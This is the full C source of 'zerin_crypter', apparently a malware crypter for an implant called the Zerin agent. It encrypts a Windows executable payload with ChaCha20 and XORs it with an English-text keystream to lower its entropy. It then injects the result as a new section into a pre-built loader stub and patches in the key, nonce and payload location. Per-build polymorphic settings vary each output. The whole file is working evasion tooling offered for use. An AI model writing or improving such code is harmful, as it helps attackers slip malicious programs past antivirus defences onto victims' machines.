/*
 * zerin_crypter.c - Binary-patching crypter for Zerin agent
 *
 * Encrypts a PE payload and injects it into a pre-compiled stub via
 * PE section injection. No GCC needed at crypt-time.
 *
 * Process:
 *   1. Read input PE, encrypt with random ChaCha20 key
 *   2. Apply entropy flattening (XOR with English-text keystream)
 *   3. Read pre-compiled zerin_stub.exe
 *   4. Inject payload section (name from stub_poly_config.h)
 *   5. Patch config section with key, nonce, payload RVA, size
 *   6. Write output .exe
 *
 * Usage:
 *   zerin_crypter.exe <input.exe> <output.exe>
 *   zerin_crypter.exe --stub path/to/zerin_stub.exe <input.exe> <output.exe>
 *
 * Compile:
 *   gcc -std=gnu11 -O2 -s -I<outdir> zerin_crypter.c -lbcrypt -o zerin_crypter.exe
 *   (outdir must contain stub_poly_config.h from generate_poly_stub.py)
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

/* Per-build polymorphic config (shared with stub template) */
#include "stub_poly_config.h"

#ifdef _WIN32
#include <windows.h>
#include <bcrypt.h>
#pragma comment(lib, "bcrypt")
#else
/* ── Minimal PE structure definitions for Linux cross-build ────────── */
#pragma pack(push, 1)

typedef uint8_t   BYTE;
typedef uint16_t  WORD;
typedef uint32_t  DWORD;
typedef int32_t   LONG;
typedef uint64_t  ULONGLONG;
typedef uint32_t  ULONG;
typedef int32_t   NTSTATUS;
typedef unsigned char *PUCHAR;

#define MAX_PATH 260
#define IMAGE_NT_SIGNATURE 0x00004550
#define IMAGE_SCN_MEM_READ             0x40000000
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040

typedef struct {
    WORD e_magic; WORD e_cblp; WORD e_cp; WORD e_crlc;
    WORD e_cparhdr; WORD e_minalloc; WORD e_maxalloc;
    WORD e_ss; WORD e_sp; WORD e_csum; WORD e_ip; WORD e_cs;
    WORD e_lfarlc; WORD e_ovno; WORD e_res[4];
    WORD e_oemid; WORD e_oeminfo; WORD e_res2[10];
    LONG e_lfanew;
} IMAGE_DOS_HEADER;

typedef struct {
    WORD Machine; WORD NumberOfSections;
    DWORD TimeDateStamp; DWORD PointerToSymbolTable;
    DWORD NumberOfSymbols; WORD SizeOfOptionalHeader;
    WORD Characteristics;
} IMAGE_FILE_HEADER;

/* PE32+ (64-bit) optional header */
typedef struct {
    WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion;
    DWORD SizeOfCode; DWORD SizeOfInitializedData;
    DWORD SizeOfUninitializedData; DWORD AddressOfEntryPoint;
    DWORD BaseOfCode;
    ULONGLONG ImageBase;
    DWORD SectionAlignment; DWORD FileAlignment;
    WORD MajorOperatingSystemVersion; WORD MinorOperatingSystemVersion;
    WORD MajorImageVersion; WORD MinorImageVersion;
    WORD MajorSubsystemVersion; WORD MinorSubsystemVersion;
    DWORD Win32VersionValue; DWORD SizeOfImage; DWORD SizeOfHeaders;
    DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics;
    ULONGLONG SizeOfStackReserve; ULONGLONG SizeOfStackCommit;
    ULONGLONG SizeOfHeapReserve; ULONGLONG SizeOfHeapCommit;
    DWORD LoaderFlags; DWORD NumberOfRvaAndSizes;
} IMAGE_OPTIONAL_HEADER;

typedef struct {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;

typedef struct {
    BYTE Name[8];
    union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc;
    DWORD VirtualAddress; DWORD SizeOfRawData;
    DWORD PointerToRawData; DWORD PointerToRelocations;
    DWORD PointerToLinenumbers; WORD NumberOfRelocations;
    WORD NumberOfLinenumbers; DWORD Characteristics;
} IMAGE_SECTION_HEADER;

#define IMAGE_FIRST_SECTION(nt) \
    ((IMAGE_SECTION_HEADER *)((uint8_t *)&(nt)->OptionalHeader + \
                              (nt)->FileHeader.SizeOfOptionalHeader))

#pragma pack(pop)
#endif

/* ======================================================================
 * ChaCha20 (RFC 8439)
 * ====================================================================== */

#define ROTL32(v, n) (((v) << (n)) | ((v) >> (32 - (n))))

#define QR(a, b, c, d) do { \
    a += b; d ^= a; d = ROTL32(d, 16); \
    c += d; b ^= c; b = ROTL32(b, 12); \
    a += b; d ^= a; d = ROTL32(d, 8);  \
    c += d; b ^= c; b = ROTL32(b, 7);  \
} while(0)

static uint32_t load_le32(const uint8_t *p) {
    return ((uint32_t)p[0]) | ((uint32_t)p[1] << 8) |
           ((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24);
}

static void chacha20_encrypt(const uint8_t key[32], const uint8_t nonce[12],
                              const uint8_t *in, uint8_t *out, size_t len) {
    uint32_t state[16];
    CHACHA_INIT_STATE(state);
    for (int i = 0; i < 8; i++)
        state[4 + i] = load_le32(key + i * 4);
    state[12] = 0;
    state[13] = load_le32(nonce);
    state[14] = load_le32(nonce + 4);
    state[15] = load_le32(nonce + 8);

    size_t offset = 0;
    while (offset < len) {
        uint32_t x[16];
        memcpy(x, state, 64);
        for (int i = 0; i < 10; i++) {
            QR(x[0], x[4], x[ 8], x[12]);
            QR(x[1], x[5], x[ 9], x[13]);
            QR(x[2], x[6], x[10], x[14]);
            QR(x[3], x[7], x[11], x[15]);
            QR(x[0], x[5], x[10], x[15]);
            QR(x[1], x[6], x[11], x[12]);
            QR(x[2], x[7], x[ 8], x[13]);
            QR(x[3], x[4], x[ 9], x[14]);
        }
        uint8_t block[64];
        for (int i = 0; i < 16; i++) {
            uint32_t val = x[i] + state[i];
            block[i*4+0] = (uint8_t)(val);
            block[i*4+1] = (uint8_t)(val >> 8);
            block[i*4+2] = (uint8_t)(val >> 16);
            block[i*4+3] = (uint8_t)(val >> 24);
        }
        state[12]++;
        size_t chunk = len - offset;
        if (chunk > 64) chunk = 64;
        for (size_t i = 0; i < chunk; i++)
            out[offset + i] = in[offset + i] ^ block[i];
        offset += chunk;
    }
}

static int random_bytes(uint8_t *buf, size_t len) {
#ifdef _WIN32
    NTSTATUS status = BCryptGenRandom(NULL, buf, (ULONG)len,
                                       BCRYPT_USE_SYSTEM_PREFERRED_RNG);
    return (status >= 0) ? 0 : -1;
#else
    FILE *f = fopen("/dev/urandom", "rb");
    if (!f) return -1;
    size_t r = fread(buf, 1, len, f);
    fclose(f);
    return (r == len) ? 0 : -1;
#endif
}

/* ======================================================================
 * Entropy-flattening keystream (deterministic from seed, must match stub)
 * ====================================================================== */

#define ENTROPY_PAD_SIZE 4096

/* Per-build shuffled charset + LCG params from stub_poly_config.h */
static void generate_entropy_pad(uint32_t seed, uint8_t *pad, size_t pad_size) {
    uint32_t state = seed;
    size_t charset_len = STUB_ENTROPY_CHARSET_LEN;
    for (size_t i = 0; i < pad_size; i++) {
        state = state * STUB_LCG_MULT + STUB_LCG_INC;
        pad[i] = (uint8_t)STUB_ENTROPY_CHARSET[(state >> STUB_LCG_SHIFT) % charset_len];
    }
}

/* ======================================================================
 * STUB_CONFIG structure (must match stub's config section layout)
 * ====================================================================== */

/* STUB_CONFIG_MAGIC comes from stub_poly_config.h */

#pragma pack(push, 1)
typedef struct {
    uint32_t magic;
    uint32_t payload_rva;
    uint32_t payload_size;
    uint8_t  key[32];
    uint8_t  nonce[12];
    uint32_t entropy_seed;
} STUB_CONFIG;
#pragma pack(pop)

/* ======================================================================
 * PE helper: align value up
 * ====================================================================== */

static uint32_t align_up(uint32_t value, uint32_t alignment) {
    if (alignment == 0) return value;
    return (value + alignment - 1) & ~(alignment - 1);
}

/* ======================================================================
 * Find stub exe relative to this exe
 * ====================================================================== */

static int find_stub(char *out, size_t out_size) {
    FILE *f;
#ifdef _WIN32
    char exe_path[MAX_PATH];
    GetModuleFileNameA(NULL, exe_path, MAX_PATH);

    /* Try same directory as exe */
    char *last_sep = strrchr(exe_path, '\\');
    if (!last_sep) last_sep = strrchr(exe_path, '/');
    if (last_sep) {
        *last_sep = '\0';
        snprintf(out, out_size, "%s\\zerin_stub.exe", exe_path);
        f = fopen(out, "rb");
        if (f) { fclose(f); return 0; }
    }
#endif
    /* Try current directory */
    snprintf(out, out_size, "zerin_stub.exe");
    f = fopen(out, "rb");
    if (f) { fclose(f); return 0; }

    return -1;
}

/* ======================================================================
 * Read entire file into malloc'd buffer
 * ====================================================================== */

static uint8_t *read_file(const char *path, size_t *out_size) {
    FILE *f = fopen(path, "rb");
    if (!f) return NULL;

    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);

    if (sz <= 0 || sz > 200 * 1024 * 1024) { fclose(f); return NULL; }

    uint8_t *buf = (uint8_t *)malloc((size_t)sz);
    if (!buf) { fclose(f); return NULL; }

    if (fread(buf, 1, (size_t)sz, f) != (size_t)sz) {
        free(buf);
        fclose(f);
        return NULL;
    }
    fclose(f);
    *out_size = (size_t)sz;
    return buf;
}

/* ======================================================================
 * Main: Binary-patching crypter
 * ====================================================================== */

int main(int argc, char *argv[]) {
    const char *stub_path = NULL;
    const char *input_path = NULL;
    const char *output_path = NULL;

    /* Parse args */
    int i = 1;
    while (i < argc) {
        if (strcmp(argv[i], "--stub") == 0 && i + 1 < argc) {
            stub_path = argv[++i];
        } else if (strcmp(argv[i], "--gcc") == 0 && i + 1 < argc) {
            /* Legacy flag — ignored (no longer needed) */
            fprintf(stderr, "NOTE: --gcc flag is deprecated (no longer needed)\n");
            i++;
        } else if (!input_path) {
            input_path = argv[i];
        } else if (!output_path) {
            output_path = argv[i];
        }
        i++;
    }

    if (!input_path || !output_path) {
        fprintf(stderr, "Usage: %s [--stub <stub.exe>] <input.exe> <output.exe>\n", argv[0]);
        return 1;
    }

    /* ----------------------------------------------------------------
     * Step 1: Read input PE
     * ---------------------------------------------------------------- */
    size_t pe_size;
    uint8_t *pe_data = read_file(input_path, &pe_size);
    if (!pe_data) {
        fprintf(stderr, "ERROR: Cannot read: %s\n", input_path);
        return 1;
    }

    if (pe_size < 64 || pe_data[0] != 'M' || pe_data[1] != 'Z') {
        fprintf(stderr, "ERROR: Not a valid PE: %s\n", input_path);
        free(pe_data);
        return 1;
    }

    printf("Input PE: %s (%zu bytes)\n", input_path, pe_size);

    /* ----------------------------------------------------------------
     * Step 2: Generate random key + nonce, encrypt with ChaCha20
     * ---------------------------------------------------------------- */
    uint8_t key[32], nonce[12];
    if (random_bytes(key, 32) != 0 || random_bytes(nonce, 12) != 0) {
        fprintf(stderr, "ERROR: Failed to generate random key\n");
        free(pe_data);
        return 1;
    }

    uint8_t *encrypted = (uint8_t *)malloc(pe_size);
    if (!encrypted) { free(pe_data); return 1; }
    chacha20_encrypt(key, nonce, pe_data, encrypted, pe_size);
    free(pe_data);

    /* ----------------------------------------------------------------
     * Step 3: Generate random entropy seed and derive pad, then flatten
     * ---------------------------------------------------------------- */
    uint32_t entropy_seed;
    if (random_bytes((uint8_t *)&entropy_seed, 4) != 0) {
        fprintf(stderr, "ERROR: Failed to generate entropy seed\n");
        free(encrypted);
        return 1;
    }

    uint8_t *entropy_pad = (uint8_t *)malloc(ENTROPY_PAD_SIZE);
    if (!entropy_pad) { free(encrypted); return 1; }
    generate_entropy_pad(entropy_seed, entropy_pad, ENTROPY_PAD_SIZE);

    uint8_t *flattened = (uint8_t *)malloc(pe_size);
    if (!flattened) { free(entropy_pad); free(encrypted); return 1; }

    for (size_t j = 0; j < pe_size; j++) {
        flattened[j] = encrypted[j] ^ entropy_pad[j % ENTROPY_PAD_SIZE];
    }
    free(encrypted);
    free(entropy_pad);

    printf("Encrypted + entropy-flattened payload: %zu bytes (seed=0x%08X)\n", pe_size, entropy_seed);

    /* ----------------------------------------------------------------
     * Step 4: Read pre-compiled stub
     * ---------------------------------------------------------------- */
    char stub_resolved[512];
    if (!stub_path) {
        if (find_stub(stub_resolved, sizeof(stub_resolved)) != 0) {
            fprintf(stderr, "ERROR: Cannot find zerin_stub.exe\n");
            fprintf(stderr, "  Build it first: gcc ... zerin_stub_template.c -o zerin_stub.exe\n");
            fprintf(stderr, "  Or specify: --stub path/to/zerin_stub.exe\n");
            free(flattened);
            return 1;
        }
        stub_path = stub_resolved;
    }

    size_t stub_size;
    uint8_t *stub_data = read_file(stub_path, &stub_size);
    if (!stub_data) {
        fprintf(stderr, "ERROR: Cannot read stub: %s\n", stub_path);
        free(flattened);
        return 1;
    }

    if (stub_size < 64 || stub_data[0] != 'M' || stub_data[1] != 'Z') {
        fprintf(stderr, "ERROR: Stub is not a valid PE: %s\n", stub_path);
        free(stub_data);
        free(flattened);
        return 1;
    }

    printf("Stub PE: %s (%zu bytes)\n", stub_path, stub_size);

    /* ----------------------------------------------------------------
     * Step 5: Parse stub PE headers
     * ---------------------------------------------------------------- */
    IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)stub_data;
    IMAGE_NT_HEADERS *nt  = (IMAGE_NT_HEADERS *)(stub_data + dos->e_lfanew);

    if (nt->Signature != IMAGE_NT_SIGNATURE) {
        fprintf(stderr, "ERROR: Stub has invalid NT signature\n");
        free(stub_data); free(flattened);
        return 1;
    }

    IMAGE_OPTIONAL_HEADER *opt = &nt->OptionalHeader;
    IMAGE_SECTION_HEADER *sections = IMAGE_FIRST_SECTION(nt);
    WORD numSections = nt->FileHeader.NumberOfSections;

    uint32_t sectionAlignment = opt->SectionAlignment;
    uint32_t fileAlignment = opt->FileAlignment;

    /* Check there's room for one more section header */
    uint32_t headerEnd = (uint32_t)((uint8_t *)&sections[numSections] - stub_data) +
                         (uint32_t)sizeof(IMAGE_SECTION_HEADER);
    if (headerEnd > opt->SizeOfHeaders) {
        fprintf(stderr, "ERROR: No room for new section header in stub PE\n");
        fprintf(stderr, "  Headers end at 0x%X, SizeOfHeaders = 0x%X\n",
                headerEnd, opt->SizeOfHeaders);
        free(stub_data); free(flattened);
        return 1;
    }

    /* ----------------------------------------------------------------
     * Step 6: Find config section and locate magic marker
     * ---------------------------------------------------------------- */
    IMAGE_SECTION_HEADER *cfgSection = NULL;
    for (WORD s = 0; s < numSections; s++) {
        if (memcmp(sections[s].Name, STUB_CFG_SECTION, strlen(STUB_CFG_SECTION)) == 0) {
            cfgSection = &sections[s];
            break;
        }
    }

    if (!cfgSection) {
        fprintf(stderr, "ERROR: config section '%s' not found in stub\n", STUB_CFG_SECTION);
        free(stub_data); free(flattened);
        return 1;
    }

    /* Find magic within config section */
    uint32_t cfgFileOffset = cfgSection->PointerToRawData;
    uint32_t cfgRawSize = cfgSection->SizeOfRawData;
    STUB_CONFIG *config = NULL;

    for (uint32_t off = 0; off + sizeof(STUB_CONFIG) <= cfgRawSize; off += 4) {
        uint32_t *ptr = (uint32_t *)(stub_data + cfgFileOffset + off);
        if (*ptr == STUB_CONFIG_MAGIC) {
            config = (STUB_CONFIG *)(stub_data + cfgFileOffset + off);
            break;
        }
    }

    if (!config) {
        fprintf(stderr, "ERROR: magic (0x%08X) not found in '%s' section\n",
                STUB_CONFIG_MAGIC, STUB_CFG_SECTION);
        free(stub_data); free(flattened);
        return 1;
    }

    printf("Found config at file offset 0x%lX\n",
           (unsigned long)((uint8_t *)config - stub_data));

    /* ----------------------------------------------------------------
     * Step 7: Calculate payload section placement
     * ---------------------------------------------------------------- */

    /* Find the last section to determine where payload goes */
    IMAGE_SECTION_HEADER *lastSection = &sections[numSections - 1];
    uint32_t lastSectionEndVA = lastSection->VirtualAddress +
                                 align_up(lastSection->Misc.VirtualSize ?
                                          lastSection->Misc.VirtualSize :
                                          lastSection->SizeOfRawData,
                                          sectionAlignment);
    uint32_t lastSectionEndFile = lastSection->PointerToRawData +
                                   lastSection->SizeOfRawData;

    /* New payload section */
    uint32_t d1VA = align_up(lastSectionEndVA, sectionAlignment);
    uint32_t d1RawOffset = align_up(lastSectionEndFile, fileAlignment);
    uint32_t d1RawSize = align_up((uint32_t)pe_size, fileAlignment);
    uint32_t d1VirtualSize = (uint32_t)pe_size;

    printf("'%s' section: VA=0x%X, FileOffset=0x%X, Size=%u\n",
           STUB_PAY_SECTION, d1VA, d1RawOffset, d1RawSize);

    /* ----------------------------------------------------------------
     * Step 8: Build output PE
     * ---------------------------------------------------------------- */

    /* Total output size = raw offset of payload section + raw size of payload section */
    size_t output_size = d1RawOffset + d1RawSize;
    uint8_t *output = (uint8_t *)calloc(1, output_size);
    if (!output) {
        fprintf(stderr, "ERROR: Failed to allocate output buffer (%zu bytes)\n", output_size);
        free(stub_data); free(flattened);
        return 1;
    }

    /* Copy entire stub */
    memcpy(output, stub_data, stub_size);

    /* Zero-fill any gap between end of stub and start of payload section */
    /* (already zeroed by calloc) */

    /* Copy flattened payload at payload section raw offset */
    memcpy(output + d1RawOffset, flattened, pe_size);

    /* Update PE headers in output */
    IMAGE_DOS_HEADER *out_dos = (IMAGE_DOS_HEADER *)output;
    IMAGE_NT_HEADERS *out_nt  = (IMAGE_NT_HEADERS *)(output + out_dos->e_lfanew);
    IMAGE_OPTIONAL_HEADER *out_opt = &out_nt->OptionalHeader;
    IMAGE_SECTION_HEADER *out_sections = IMAGE_FIRST_SECTION(out_nt);

    /* Add payload section header */
    IMAGE_SECTION_HEADER *d1Section = &out_sections[numSections];
    memset(d1Section, 0, sizeof(IMAGE_SECTION_HEADER));
    {
        size_t nameLen = strlen(STUB_PAY_SECTION);
        if (nameLen > 8) nameLen = 8;
        memcpy(d1Section->Name, STUB_PAY_SECTION, nameLen);
    }
    d1Section->Misc.VirtualSize = d1VirtualSize;
    d1Section->VirtualAddress = d1VA;
    d1Section->SizeOfRawData = d1RawSize;
    d1Section->PointerToRawData = d1RawOffset;
    d1Section->Characteristics = IMAGE_SCN_MEM_READ | IMAGE_SCN_CNT_INITIALIZED_DATA;

    /* Increment NumberOfSections */
    out_nt->FileHeader.NumberOfSections = numSections + 1;

    /* Update SizeOfImage */
    out_opt->SizeOfImage = align_up(d1VA + d1VirtualSize, sectionAlignment);

    /* ----------------------------------------------------------------
     * Step 9: Patch config section with key, nonce, payload RVA, size
     * ---------------------------------------------------------------- */

    /* Find config in output buffer (same offset as in stub_data) */
    size_t configOffset = (uint8_t *)config - stub_data;
    STUB_CONFIG *out_config = (STUB_CONFIG *)(output + configOffset);

    out_config->payload_rva = d1VA;
    out_config->payload_size = (uint32_t)pe_size;
    memcpy(out_config->key, key, 32);
    memcpy(out_config->nonce, nonce, 12);
    out_config->entropy_seed = entropy_seed;

    printf("Config patched: RVA=0x%X, size=%u, entropy_seed=0x%08X\n", d1VA, (uint32_t)pe_size, entropy_seed);

    /* ----------------------------------------------------------------
     * Step 10: Write output file
     * ---------------------------------------------------------------- */

    FILE *fout = fopen(output_path, "wb");
    if (!fout) {
        fprintf(stderr, "ERROR: Cannot create output: %s\n", output_path);
        free(output); free(stub_data); free(flattened);
        return 1;
    }

    if (fwrite(output, 1, output_size, fout) != output_size) {
        fprintf(stderr, "ERROR: Write failed\n");
        fclose(fout);
        free(output); free(stub_data); free(flattened);
        return 1;
    }
    fclose(fout);

    /* Clear sensitive data */
    memset(key, 0, sizeof(key));
    memset(nonce, 0, sizeof(nonce));

    printf("\nCrypted: %s -> %s\n", input_path, output_path);
    printf("  Stub:    %zu bytes\n", stub_size);
    printf("  Payload: %zu bytes (encrypted + entropy-flattened)\n", pe_size);
    printf("  Output:  %zu bytes\n", output_size);

    free(output);
    free(stub_data);
    free(flattened);

    return 0;
}